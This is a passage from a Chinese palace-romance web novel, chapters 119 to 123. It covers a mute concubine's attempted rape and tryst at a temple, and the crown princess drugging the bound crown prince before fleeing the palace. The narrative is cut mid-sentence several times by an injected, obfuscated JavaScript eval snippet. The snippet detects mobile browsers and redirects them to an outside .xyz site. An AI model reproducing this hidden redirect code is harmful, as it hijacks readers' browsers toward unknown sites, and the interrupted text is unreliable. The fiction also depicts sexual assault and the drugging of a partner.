墙外头的玉兰花已经打了花骨朵儿,小小的,毛茸茸的,还要等上些时日才能开。 穆汐有气无力地又手语发问。 【我们来多久了?】 鹂莺答:“差不多快一个月了。” 【一个月?】 穆汐连眨眼都是死气沉沉。 她摇头比划。 【可我怎么觉得,好像来了好几年?】 花容上前安慰。 “小主,这日子咱们得往前看,您整日坐在这屋里,当然觉得日子慢了。” “外头春和日丽,小主若不想抄经,那奴婢就陪您出去走走,散散心。” “再这么闷下去,会闷出病的。” “这人病了就会憔悴,会不好看,待一年后回宫,小主顶着病容,又如何讨殿下的喜?” 穆汐就像是魔怔了一般,花容的话似乎一句都没听进去。 她目光空洞地盯着一处瞧,又手语问花容。 【你说,他为何不来看我啊?】 【就算是把我当妹妹,这么多年的兄妹情意,也该来看我一眼的。】 问着问着,穆汐看着花容便哭了起来。 “小主别哭了。” 尽管很累很无奈,花容还是耐着性子,拿出帕子给穆汐擦眼泪。 “小主要振作起来才是。” “殿下不来看你,老爷不管你,小主自己再自暴自弃,这日子怎么过啊?” “您若是病下不起,那到最后乐的,可是太子妃。” 一听到后半句,穆汐的泪水瞬间就止住了。 她抬手摸去泪痕,连连点头,熄了许久的不甘和恨意又从眼底燃起。 【对,不能让她得逞。】 【我不好过,就都别想好过。】 另一旁,鹂莺默默看了穆汐半晌,无声转身,去忙别的了。 花容接着又劝。 “小主,奴婢扶你去外面走走吧。” “今日是十五,佛寺里可热闹了。” “咱们去正殿那边瞧瞧,顺便接点人气儿回来。” “这身子养好了,日后小主才有力气跟太子妃斗,把殿下抢回来不是?” 穆汐被说服了,起身跟着花容出了那间禅房。 今日的万佛寺人很多。 尤其是百姓上香祈福的那几个大殿。 而专供皇亲国戚烧香祈福的后院佛殿,亦是比平日里要热闹。 穆汐走着走着,便遇到了惠贵妃,还有十皇子。 惠贵妃离老远地就扬声招呼:“呦,瞧瞧,这是谁啊?” 穆汐紧步上前,躬身行礼。 惠贵妃神色清高地将穆汐上下打量了一眼,讥笑道:“真是个惹人怜的,花儿一样的姑娘,却被关在佛寺里。” 穆汐颔首浅笑,端的仍是娴静端庄的淑女做派。 【竟不知贵妃娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124669|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘也信佛?】 花容在旁替穆汐传达。 惠贵妃爱答不理地慢声道:“本是不信的,可在宫里禁足多日,今日终于能出宫,就想着来万佛寺烧烧香,去去晦气。” 【就不打扰贵妃娘娘礼佛了。】 穆汐转身欲走,却又被惠贵妃叫住。 “本宫对这里不熟,穆良媛若是无事,不如留下陪陪本宫,如何?” 穆汐不得不从,只能应了下来。 回身之时,目光不经意地与十皇子撞了正着。 那十皇子站在惠贵妃的身后,正不动声色地打量着她。 目光黏腻拉丝,侵略感极强,看得穆汐感觉很不适。 冷冷收回视线,她紧步跟在惠贵妃的斜后侧。 “你在这万佛寺里,可知晓东宫那边的事?”惠贵妃问。 穆汐摇头。 惠贵妃便将东宫近日纳了几名贵女,还有和亲公主的事,都同穆汐讲了一遍。 “向来只有新人笑,无人听到旧人哭。” “等穆良媛一年后回宫,谁还记得你是谁啊?” “本宫是过来人,这一点,最是清楚。” “女子韶华易逝,这大好春光却浪费在这佛寺里,真是可惜了。” “倒是成全了那西延来的野蛮丫头。” 言语间,惠贵妃侧眸偷偷瞧了穆汐一眼。 只见穆汐垂着头,手里紧紧攥着帕子,泛白的指节是她隐忍用力的证明。 “本宫见你可怜,倒是想帮你出出气,却又怕穆良媛不领情,白白浪费本宫一片好心。” 穆汐驻足,倏然抬眸,看向惠贵妃。 惠贵妃也停下步子,转身看向她,意味极深的笑意仅挂在唇角,而上扬的远山黛则挑着几许试探。 穆汐神色谨慎。 【贵妃娘娘想要什么?】 “和聪明人说话,就是舒坦。” 惠贵妃满意地笑了笑,不答反问。 “本宫倒是想先问问,穆良媛最想要的是什么?” 一双狐媚眼眼尾上挑,虽然已过芳华,却依然风韵犹存,妩媚动人。 而除了美艳之外,那眼里便是野心勃勃下的狠辣和犀利。 宫海沉浮二十几载,惠贵妃仿若一眼便能看透人心,知道对方想要什么。 “若你想要的,恰好是本宫能给的,这买卖才能做成。” 眸光盈动,穆汐斟酌了片刻,给了答案。 【我想要太子殿下。】 惠贵妃引诱道:“想要他只属于你?” 穆汐没很快给出回应。 想了想,她又反悔摇头拒绝。 【我是不会帮别人害他的。】 花容转述完,穆汐盈盈一礼,转身就带着花容走了。 惠贵妃却在她身后扬声说着风凉话。 “穆良媛在这儿痴心一片,太子殿下在东宫可是左拥右抱,早把你忘到九霄云外了。” 第119章 守了又有何用 十皇子李铮仰着脖子,瞧着那道渐行渐远的身影,心不在焉地同惠贵妃闲聊着。 “一个被丢弃在佛寺的哑女,有何利用之处?” 惠贵妃将视线从穆汐的背影收回,慢声言语的同时,转身朝佛殿内走去,李铮则紧跟其后。 “虽是个哑女,可她是穆家人,对太子的事自是比旁人清楚得多。” “知彼知己,方能百战不殆。” 从太监手里接过三根香,惠贵妃一边说,一边不紧不慢地走到香烛前去点香。 “此女虽没什么大用处,可若能撬开她的嘴,说不定哪句话,或哪个不为人知的秘密,便能成为我们手中的刀,为我们所用。” “要记住,运气和机缘是老天爷送的,活路和机会却是靠自己去争取的。” 李铮躬身回道:“母妃所言极是,儿臣定铭记于心。” 上过香,拜过佛,许过愿,母子二人又在几个太监和侍卫的护送下,朝佛寺后院的禅房而去。 “前些日子,交代你的事,办得如何了?”惠贵妃问。 李铮低声答:“儿臣已按母妃所言,派人去做了。” 惠贵妃不放心,又严声厉色地叮嘱了一句。 “动作尽量快点,免得失了先机。否则,到时咱们母子二人都活不成。” “母妃放心。” ...... 木鱼声声,佛音袅袅,从不远处的几处佛殿传来。 惠贵妃的话就像是一句句咒语,一直在穆汐的耳边萦绕不散。 她心绪烦乱,想自己静一静,便打发花容先回禅房,自己则坐在一处石亭里琢磨着惠贵妃的话。 坐了许久,也想了许久,穆汐甚感疲倦,起身打算回去休息。 却不曾想在回禅房的廊道下,竟撞见了十皇子李铮。 穆汐欠身行了一礼,迈步向左。 李铮的身子则也跟着向左挪。 穆汐转而向右,李铮则用身子挡住她的去路。 目光对撞,意识到不对劲,穆汐转身要跑,却被李铮从后面拦腰抱起,随便进了一间无人的禅房。 房门被上了闩,穆汐被李铮压在茶桌上。 狰狞淫邪的嘴脸靠近,李铮一边嗅着她颈侧的女儿香,一边奸笑道:“这当太子是何等滋味,本王虽尝不到了,但尝尝太子女人的味道,倒也不错。” 言语间,李铮已经开始撕扯穆汐的衣裙。 穆汐捶打挣扎,无奈女子力弱,根本抵不过男子的气力。 泪水涌落,她红唇大张,想嘶喊求救。 可无论她怎么用力,都发不出一丝半点的声音。 连叫天天不应,叫地地不灵的可能都没有 “叫啊,大声叫啊。” 李铮桀桀低笑,神色间尽是强者凌压弱者的狞恶之色。 “本王倒是想听听,哑巴能叫得多好听。” 正当裙摆要被撩起时,穆汐拔下头上的簪子,朝李铮的手臂刺去。 李铮吃痛,动作停滞了一下。 穆汐趁机抬腿,狠厉朝他裆下踢去。 许是男子的本能,李铮捂着厉害之处,闪身弹跳躲开了那下狠的一脚。 穆汐紧忙从茶桌上跳,捡起被撕破的衣衫,步子踉跄而慌乱地逃出了那间禅房。 许是怕动静闹得太大,惹来其他香客,李铮并没有追出来。 穆汐跑了几步,却突然停下了步子。 她低头看着手臂内侧的守宫砂,眼泪簌簌而落,颤抖的双唇勾起嘲讽的弧度。 那人不稀罕的清白,守了又有何用? 深深地吸了一口气,穆汐昂首挺胸,擦了擦流个不停的眼泪,步子掉转,又回到了刚刚那间禅房。 她亲自锁上房门,然后在李铮错愕不解的眼神中,面无表情地将穿上的衣衫又重新脱下,然后朝李铮一步步走去...... 清幽岑寂的佛寺后院,那间禅房里隐隐传出桌腿频繁蹭地的声响。 一下接着一下,吱吱呀呀,时急时缓。 ** 还剩两日了。 江箐珂每日都希望李玄尧能多点时间陪她,偏偏他整日都忙得很。 吃过早膳,见李玄尧更衣要走,江箐珂任性地从身后圈住他的腰身,死死抱着不肯放。 “我不管。” “我癸水要来了,心情烦得很,想毁天灭地。” “所以,你今天必须留在凤鸾轩陪我。” 若是凭气力,李玄尧想摆脱她,自是轻而易举。 可他并没有掰开江箐珂的手,而是同曹公公手语比划了几下。 曹公公领命而去,没过多久,就带着身边的小太监,搬了两摞奏折来了凤鸾轩。 李玄尧专注阅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131527|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折子,江箐珂则枕在他的腿上,一会儿翻翻闲书,一会儿仰面瞧着他全神贯注的模样。 李玄尧偶尔也会被她瞧得分神,垂眸看看她,或者捏捏她的脸蛋,或者把她的脸抱起来亲几下,再放回去。 就这样,两摞折子,看得要比平日要慢上许多。 春阳透过窗棂斜斜照进寝殿,在墙壁和地上落下一片斑驳的光影,也将那二人笼在一片暖光之中。 熏香袅袅,在光带里随着浮尘缭绕消弭,光影偏移,从两人身上一点点离去,最后隐没于幽暗的角落。 就这么一晃,半日光景倏然过去 午膳过后,曹公公叩门,在外面通报。 有人要入殿觐见。 不等李玄尧示意,江箐珂识趣起身,灰溜溜地绕过屏风,跑到她的大圆榻上躺着去了。 来见李玄尧的是当朝右丞。 右丞是衡帝登基后亲自提拔栽培的心腹臣子,数十载过去,如今也已是年过半百的老者。 李玄尧告诉过江箐珂,朝中大臣,除了穆元雄外,唯一知晓他身份的便只有这位右丞陆大人。 但穆元雄并不知晓此事。 在大周,丞相主外,总领百官,统辖六部日常政务;而内阁则主内,掌管皇帝诏令的起草、修订与机密政务,并对丞相提案有搁置或退回修正之权,但无权调动外朝官员和军队。 两个中枢官职,一个主内,一个主外,互为牵制。 李玄尧手语,曹公公则在中间转述。 一来一回的对话间,江箐珂也听出了大概。 右丞所言之策,皆是如何调动朝臣官职,借势利用彼此敌对之局,于暗中牵制穆元雄**。 比如明升暗降,升俸远派,部属换水等等。 还有平日里有贪赃**之行的人,都将暂留证据,待李玄尧登帝之后,再一并算账。 正所谓一朝天子一朝臣。 除了着力培植世家出身的心腹外,李玄尧亦有意于今年春闱之中遴选寒门俊彦,以补朝堂新血。 从而使新旧势力相衡并立,进一步削弱穆元雄及其党羽,乃至其他世家对朝堂的掌控。 枯燥乏味的朝政之事听得人直犯困,身子一转,江箐珂便闭眼打了会儿瞌睡。 也不知睡了多久,迷迷糊糊间感到面颊湿湿温温的。 第120章 等你好久了 好闻的龙涎香混着清浅的药香入鼻,江箐珂缓缓睁开眼,便见自己在窝在李玄尧的怀里。 手搭在搂在他的颈间,一只腿骑在他的腰上。 江箐珂恍惚了一瞬。 连打个盹儿,睡相都这么差的吗? 温烫且略有些粗糙的拇指在她的双唇上摩挲,江箐珂抬眸去看李玄尧的脸。 她哑声问:“都聊完了?” 李玄尧眨了下眼。 透过纱幔,江箐珂睡眼惺忪看了看外面的天色:“什么时辰了?” 李玄尧的手指在她面颊上轻轻勾写了个“卯”字。 江箐珂一只眼半眯,迷迷糊糊地揉了下叽里咕噜直叫的肚子。 李玄尧坐起身来,手语问她。 【饿了?】 “有点。” 【想吃什么?】 江箐珂懒洋洋地躺在那里,闭着眼想了想,瓮声瓮气道:“想吃碗热气腾腾的馄饨。” 大手时轻时重地揉弄着小蛮腰,似是想到了什么,李玄尧摇了下江箐珂,示意她睁眼。 【有一家馄饨铺,味道极好,要不要一起出宫?】 一听出宫,江箐珂双眼登时清亮如星,腾地就坐了起来。 “当然要。” 京城西南市,远在皇宫之外,乃是百姓聚居的下坊。 此处不似永宁坊那般繁华,皆是一片低矮瓦舍。 这里炊烟杂陈,巷弄逼仄狭长。 街市间亦无奢华气派的茶楼酒肆,入目皆为简陋朴素的铺面。 未铺青砖的土街两旁,更有挑担叫卖的小贩。 杂声喧闹,各种气味杂融在空气里,混作一片市井烟火。 下了马车,江箐珂跟着李玄尧进了一家不起眼的馄饨铺,点了两碗鸡汤馄饨。 环顾四周,江箐珂略有些意外。 “这里你来过?” 李玄尧点头。 馄饨有点烫,他轻轻吹了几口气后,斯斯文文地下口,咬掉一半的馄饨。 江箐珂瞧见,梗了下脖子。 然后,拿起勺子捞了馅儿大皮薄的馄饨,一改以往一口一个的吃相,也跟着吹几口气,再一口半个馄饨地吃着。 嗯...... 细嚼慢咽,也不错! 馄饨肉馅紧实鲜香,入口弹韧,汤汁清亮醇美,回味悠长,比御膳房做的还好吃。 难怪李玄尧会带她来这破地方。 “你经常来这里吃馄饨?”江箐珂边吃边问。 不同于穆珩食不言的高冷,李玄尧对她是有问必答。 【偶尔会来。】 看着略有些窄小的馄饨铺,还有外头杂乱的街巷,江箐珂蹙眉不解。 “这里又脏又乱的,你这个身份,没事来这里吃什么馄饨?” “没事儿找苦吃?” 李玄尧想了想,似是觉得要说的话有些难,便掏出了炭笔和册子。 【治国安邦,根在于民。】 【然民生之事,不在庙堂之上,而藏于市井之间。】 【布衣之忧,无关国策,却系于一碗热汤之暖、一尺布匹之价。】 【可惜无论是世家子弟,还是高官权宦,因久坐高堂,只见皆盛世之象,却不见民间之疾。】 【殊不知,真正映照国政得失的,正是那街头胡饼几文、巷尾米粮几斗。】 【政出于**,策生于民间。】 【是以,为政者当躬身下察,来到这市井街巷,亲眼看,亲耳听。】 江箐珂看后那几行略有些潦草的几行字后,一脸骄傲地轻声道:“我的夜颜虽然是个哑巴,但以后一定能做个……” 环顾四周,她将后面三个字,压得极低:“好君王。” 李玄尧提笔又写。 【你我一起,让大周变得更加熙攘繁盛。】 【也让西南市这样的地方,越来越少。】 目光停在“一起”二字上,江箐珂心跳猛滞了一下。 可她哪懂什么治国之策。 大周女子又不得参政。 现在是两人一起,以后还不知道几个人一起呢。 绝不能被忽悠了。 留下就要在被囚在后宫,跟数不清的女人共享她的夜颜,且要一辈子活在钩心斗角、尔虞我诈之中。 人都会变,男人的誓言更是一文不值。 一想到未来某一天夜颜禁不住诱惑,或扛不住压力,跟别的妃嫔你侬我侬,做他们之间做过的事,说他们之间说过的情话,江箐珂就难受得要死。 与其被动地等着那一天到来,然后痛苦数十年,倒不如先弃他而去,早痛早脱生。 当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135384|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选错了路,现在自然要及时止损。 反正夜颜身边也不缺女人,少了一个江箐珂,算得了什么。 再抬起头时,江箐珂扯唇笑得灿烂,违心地点头说“好”。 ** 文德皇后的忌日到了。 天刚亮,仪仗队伍便从宫门外浩浩荡荡地出发。 繁复的祭奠仪式,冗重的凤冠和华服,一天下来,把江箐珂累得不行。 李玄尧因为还不便露面,只能在祭奠仪式结束后,单独进皇陵里祭拜。 行宫里,江箐珂情绪低沉地等着。 若是出逃成功,这便是她与李玄尧的最后一夜。 她双手撑在身侧,坐在榻边,脚尖在地面上胡乱画着圈,时不时朝殿门口望去。 等到日头西沉,等到天色渐暗,等到喜晴将殿内的灯烛悉数点亮。 随着分别的时机临近,江箐珂的心头上的那块石头越来越大,压得她每口呼吸都沉重无比。 窸窸窣窣的脚步声从殿外传来,江箐珂抬头直直看向殿门,等着那道盼了许久的身影出现。 殿门应声而开,李玄尧戴着帷帽,一身黑地走了进来。 笑意自唇角漾开,漫上眼角。 江箐珂起身,朝李玄尧跑去,然后扑进他怀里。 “等你好久了。” 李玄尧摘下帷帽,喜晴上前接过。 手托着腿根儿,他将怀里的人抱起,然后放到茶桌上。 双臂撑在她的身侧,他手语比划。 【想我了?】 江箐珂点头,也手语回复他。 [想你了。] 李玄尧笑得心满意足,忍不住抬手捏了捏江箐珂的小脸蛋。 江箐珂发现,他好像很喜欢捏她的脸。 太池园刺杀三皇子那晚,他逃走前,也是捏了下她的脸才走的。 一双异瞳映着烛火,染上暖意一片。 【晚膳吃得可好?】 江箐珂摇头,又用拙笨的手语答复。 [没吃,想和你一起吃。] 江箐珂转头示意,喜晴颔首:“奴婢这就去命人备膳。” 李玄尧转身去更衣,江箐珂则坐在那张茶桌上,晃着腿,静静地瞧着他。 似是有所察觉,李玄尧侧头看向她,眼神似是问她在瞧什么。 第121章 求你 江箐珂直直地看着李玄尧,只笑不语。 深褐色的眸眼半眯,李玄尧若有所思地与她对视了须臾。 低头看了看胸肌下微微凹陷进去的腹部,唇角一勾,他再看向江箐珂时,脸上添了几分风流之色。 衣袍大敞,李玄尧踏着懒拖拖的步子,走到茶桌前。 他牵起柔嫩纤细的小手,扣在他温烫且坚硬的胸膛上,然后带着那玉葱指,一路向下,行至丰字的沟壑之处。 大手随即又移开,任由江箐珂肆意采撷。 一双柔荑自是毫不客气,在腹肌游移摩挲,随后绕到他的腰后,紧紧将人朝自己搂近了几寸。 江箐珂仰起面颊,李玄尧则默契地弓背俯首。 两人同时偏头,错开鼻峰,随即便是个绵长又缱绻的深吻。 一双咸猪手顺着裤腰探进,正想想捏捏李玄尧的翘臀时,却因喜晴的叩门声戛然而止。 就像被雷劈了似的,江箐珂嗖地抽回双手,推开李玄尧,扮起了假正经。 三下叩门声后,殿门被推开。 曹公公和喜晴带着几名小太监,陆续提着食盒走了进来。 布菜倒酒,忙活了一番,曹公公掏出银针挨个试毒。 银针验毒还不够,一旁的小太监又将桌上的东西各自试吃了一遍。 见那小太监未出现任何异常,曹公公这才安心地叫上所有人,一同退出了行宫的寝殿。 两人手牵着手,你喂我,我喂你,亲一下,吃几口,一顿饭吃得是黏黏糊糊。 到了睡前沐浴,两人又在浴桶里腻歪了好半晌才出来。 烛火摇曳,帐内香深。 江箐珂挑起两条束腰的帛带,在李玄尧耳边喃喃蛊惑。 “今晚,我当食客,你当鱼肉。” 是命令,而不是商量。 可李玄尧却翻身将她压在身下,以行动拒绝。 偏偏他力气大得很,江箐珂再怎么反抗,也没法推开李玄尧,翻身抢占上位。 江箐珂便只能软声商量。 “夜颜,今晚我想在上面。” “你让让我。” 看着她明明眼含春水,却蹙着眉头,一脸恼怒较劲的样子,李玄尧红唇弯起,宛若在端详一件宝贝似的,抚摸着她的脸,俯视细细打量。 眉眼渐渐染上浓烈的欲,他俯身欺下。 就像那日吃馄饨似的,轻轻吹几口气,待凉了一些,斯斯文文地下口,把她当做鲜美的鱼肉,一口口地品尝。 双手紧攥着束腰的帛带,撑在他胸膛上,江箐珂开始嘟嘟囔囔地发脾气。 “夜颜,不带你这样的。” “凭什么天天都是你在上,我在下。” “我好歹是将门之女,岂能夜夜被你一个男人压在下面欺负。” ...... 江箐珂的一句句牢骚,都变得一声声细碎的嘤咛。 也不知是气的,还是急的,还是因为别的什么,不值钱的眼泪疙瘩顺着眼角滑落,浸湿了颊边的碎发,也濡湿了枕边。 待她哭得厉害了,李玄尧终于凑上来吻她、哄她。 江箐珂却赌气地偏头,嘴巴紧闭,不让他亲。 他凑过来,她就又把头转向另一侧。 如此躲来躲去数次,李玄尧趴在她身上眼巴巴瞧了半晌,最后在她旁侧躺下,双手手腕呈上,做出了让步。 江箐珂看着他这副听话的样子,心里头就更难受了。 对视间,她犹豫了片刻,还是翻身占据了上位。 将所有的愧疚、不舍和喜欢都倾注在唇齿间。 今夜,江箐珂的吻,比以往都要更加地热烈、强势。 双手手腕被她捆在床头,勾来搭在榻边的披帛,江箐珂蒙上了李玄尧的双眼。 只因她实在无法直视那双眼睛。 每每与李玄尧对视时,看着他眼中的自己,江箐珂那要走的心都会一次次动摇。 初见时,都是她蒙着眼,在黑暗中沦陷,在黑暗中心甘情愿地被骗。 离开时,就换他蒙着眼,在黑暗中沉沦,在黑暗中被动接受她安排的离别吧。 一番云雨过后,李玄尧躺在那里,并没有急着让江箐珂解开手腕上的束缚。 他额头渗着汗,身上也是汗涔涔的。 汗珠顺着肌肉纹理滑落,在那句健壮结实的身躯上勾勒出好看的线条。 他启唇粗喘,似是回味,又似是在平复。 江箐珂起身下床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135385|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,翻出事先藏好的七荤八素软筋香,把解药含在嘴里后,将香放在香炉里点燃。 转身看床上的人躺着未动,江箐珂软声问他。 “夜颜,你要不要喝口水?” 喉结滚动,李玄尧点了下头。 小瓷瓶打开,江箐珂将三步倒进茶壶里。 轻轻晃荡了几下,她倒了杯茶水,端到床前。 殿内烛火通明,镂空香炉里不断飘出异香,透过帐幔的缝隙,飘进帐内潮热的小世界。 鼻尖轻动,李玄尧嗅了几下,是他似曾相识的香气。 “夜颜,我喂你喝。” 江箐珂将茶盏递到李玄尧的唇边。 李玄尧却警敏地紧闭双唇,偏头躲过的同时,手臂挣扎,想要摆脱那两条腰带的束缚。 可殿内的异香渐渐浓郁,李玄尧越是用力挣扎,吸进的香便越多,药效扩散得也越快。 身体的筋骨就像是化成了水似的,软塌塌的,根本使不上力气,只能像个废物似的,摊躺在床上。 偏偏眼睛还被蒙住,让他看不到眼前的人。 不详的念头浮上心头,李玄尧凭着感觉,偏头朝江箐珂看去。 尽管他什么都看不到。 唇瓣轻颤,李玄尧无声启唇央求。 【别走。】 【小满,别走。】 趁着他开口之际,江箐珂将那盏茶灌进了李玄尧的嘴里。 猝不及防的一口水,呛得李玄尧咳嗽不止。 江箐珂心疼地替他拍了拍,顺了顺气,趁着他意识尚还清醒之时,嗫喏开口。 “夜颜。” “我要走了。” “你别找我。” 李玄尧用力摇着头,仍在做着无用的挣扎。 面色开始涨红,额头侧颈青筋隐隐凸起,他扭动着身子,徒劳地扽着捆住他双腕的腰带,一双长腿也在徒劳地蹬踹。 李玄尧竭尽全力地想发声嘶喊。 可要说的话,到了嗓间却像是遇到了一面筛子,被筛得细碎,变得晦涩粗砺,沙哑难听。 那微弱的声音,低得仅江箐珂一人能隐约听到。 “别,走。” “小满。” “求......你......” 第122章 好歹夫妻一场 李玄尧仰着下颌,弓着腰身,不停地拧动身躯挣扎。 他胸腔上下快速起伏,两片唇瓣微微颤抖,那沙哑难辨的声音则被喉间的哽咽悉数淹没。 蒙在眼上的披帛也有两处被泪水一点点濡湿。 他明明哭得无声无息,江箐珂却像产生了幻觉,感到他的哭声就在耳边萦绕,听得她无比揪心,不由得也跟着鼻子发酸。 她觉得自己好像是个极坏的人。 弃了他们的孩子,如今又要弃了他,只为自己未来不会成为那个被抛弃的。 睫羽扑闪,带起泪珠点点,映着殿内的烛火,泛着晶莹的光。 江箐珂擦了擦泪,扯来被子替李玄尧盖好。 “夜颜,你给不了我想要的。” “咱俩不合适。” “你身边女子那么多,以后也不会少,少我一个,不差什么的。” “我喜欢你,你也喜欢我,我们在彼此都喜欢的时候,好聚好散,也挺好的。” “更何况,我这人脾气不好,脑子也不灵光,当不了你的皇后。” “你另找个贤良聪慧的女子当皇后吧。” 说话间,江箐珂将藏在枕下的军令牌摸出,塞到了李玄尧那无力的手中。 “这是阿兄给你的军令牌。” “若是日后真遇到什么事,无须走文书,也无须同我父亲招呼。” “你可直接从西延落星岱和盘龙岭两处,临时调用两万重骑兵马。” “能为你做的,就这些了。” “我走了。” “若是恨我好受些,你就恨我吧。” 药性生效,李玄尧的双腿双手挣扎幅度越来越小。 无声翕合的唇慢慢闭合,呼吸渐趋平缓,人渐渐昏睡了过去。 江箐珂起身,就着浴桶里早已凉却的水,擦去了那一身荒唐的痕迹。。 最后一粒避子丸服下,她又换上了身事先备好的太监衣服。 妆奁里的那些凤钗金簪她一件没拿,仅挑出了李玄尧送给她的那支黑檀木簪子。 简简单单地绾了个丸子髻,带上刺龙鞭,江箐珂来到床边。 扯开蒙在李玄尧眼神的披帛,她想再细细看他几眼。 手背蹭去他眼角残留的泪痕,江箐珂俯身,轻轻地吻了下他紧闭的双眼和薄唇。 “夜颜,我走了,你保重。” 熄了香,又倒掉了壶中的茶。 江箐珂在走到殿门前时,却停下了步子。 转身望了望床上的人,她又走了回去。 再怎么说也是当朝太子,被人绑在床上不说,还光着下身被人发现,想想未免有些狼狈了。 好歹夫妻一场,不差这一会儿半会儿的功夫了。 江箐珂决定给李玄尧穿条裤子再走,也算是仁至义尽。 费劲巴力地给他套上了裤子,她又恋恋不舍地趴在李玄尧的胸膛上抱了一会儿。 “这次真走了。” 江箐珂抽了抽鼻子,哑声道:“保重。” 熄了灯的寝殿,无人知晓里面上演着怎样的一场分别。 只以为那屋内正是帐暖香深,满室旖旎之时。 蹲在屋檐、树上的那些暗卫们都闭着眼打盹,无人察觉偷偷从殿内出来的那道暗影。 而守在殿门外谷丰和谷俊,也早因喜晴给的两盏茶,靠坐在门两侧,睡得不省人事。 所有人都觉得,今夜也同宫里那些个日日夜夜一样,平平无奇,只要殿外无刺客,殿内便不会有任何事发生。 谁会想到与自己主子天天恩爱痴缠的人,会点软筋香,会给太子喂三步倒? 江箐珂装乖做戏这么久,终究是有效果的。 所有人都对她和喜晴卸下防备,降低了戒心。 皇陵外的行宫并不大。 江箐珂扮成小太监,提着灯笼,跟在喜晴身后,从容不乱地穿梭在回廊里、游廊间,游刃有余得根本不像是离宫出走。 “站住。” 偶遇一队巡逻的黑甲卫,江箐珂与喜晴二人被叫住。 “三更半夜不睡觉,出来闲逛什么?” 江箐珂戴着太监帽子,捧着拂尘,提着灯笼,将头压得极低。 喜晴没有半点慌乱之色。 她从容淡定,像以往在东宫时一样,趾高气扬地看向那几名黑甲卫。 “我是太子妃身边的婢女喜晴。” 脆生生的语调不疾不徐,还夹带着狐假虎威的傲气。 “太子妃饿了,太子殿下便命我去厨房那边煮碗面给太子妃端回去。” 喜晴撇了撇嘴,嫌弃地打量着周围。 “可这皇陵外的行宫,夜里看 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“小姐先逃,太子殿下不会把奴婢怎么样的。” 眼看着那几条狗和几名侍卫正朝这边跑来,她几步助跑,脚尖踩着喜晴的后背,在喜晴抬身站起时,借力翻跳到高高的宫墙上。 但江箐珂并没有马上走。 她掏出刺龙鞭顺着墙放了下去。 “喜晴,抓着上来。” 喜晴反应极快地紧抓住鞭子的尾端。 江箐珂用力扯着鞭子,将喜晴一点点往上拖,顾不得几根利刺扎到手指。 适时,几条烈犬最先冲到宫墙之下,围着喜晴又蹿又蹦的,吠叫个不停。 偏巧有只狗蹦得高,咬住了喜晴的脚,扽得江箐珂差点没拽住,连带着自己也差点跟着那顶太监帽子一起掉下墙去。 但好在她反应够快,双腿骑坐在宫墙之上,稳住了身子。 江箐珂咬着牙,将喜晴往上拖。 而喜晴则腾出一只手,掏出腰间的软剑,用力一甩,朝那狗头砍去。 伴随着嗷嗷的惨叫,烈犬终于松了口。 可几支羽箭又迎面射来。 第123章 实感 关键时刻,一道身影突然跃上墙头。 **带着劲风甩来,一个漂亮的枪花,将羽箭弹得四散。 江箐珂趁机使出蛮力,一把将喜晴拽上墙头。 “跳!” 江止一声令下,在下一批羽箭齐刷刷射来前,三人翻身跳出了宫墙外。 都是有功夫在身的,三人着地滚了几圈,并未伤到筋骨。 羽箭从头顶飞过,有人在墙的那侧急声高喊。 “刺客跑了,你们几个跟我去追。” “剩下的快去保护殿下和太子妃。” 刻不容缓,三人起身便跑。 江箐珂在奔跑回头之间,便见几名黑甲卫已翻过宫墙,朝他们三人紧步追来。 喜晴的脚被狗咬伤,跑起来略有些吃力。 情况危急下,江止直接把人扛上肩头,提着**,朝停在不远处的乌骓狂奔而去。 江箐珂紧跟其后,待跑至那匹赤兔前,动作麻利地翻身上马。 双膝猛夹马腹,手中缰绳一抖,与江止同时低喝一声“驾”,两匹烈马便似离弦之箭,朝着夜色之中,破风而去。 马蹄声声,所过之处,惊起林中飞鸟无数。 行宫里的聒噪、混乱,还有那几名狂追不舍的黑甲卫,最终都被远远地甩在身后。 夜色幽暗如墨,更显星光璀璨。 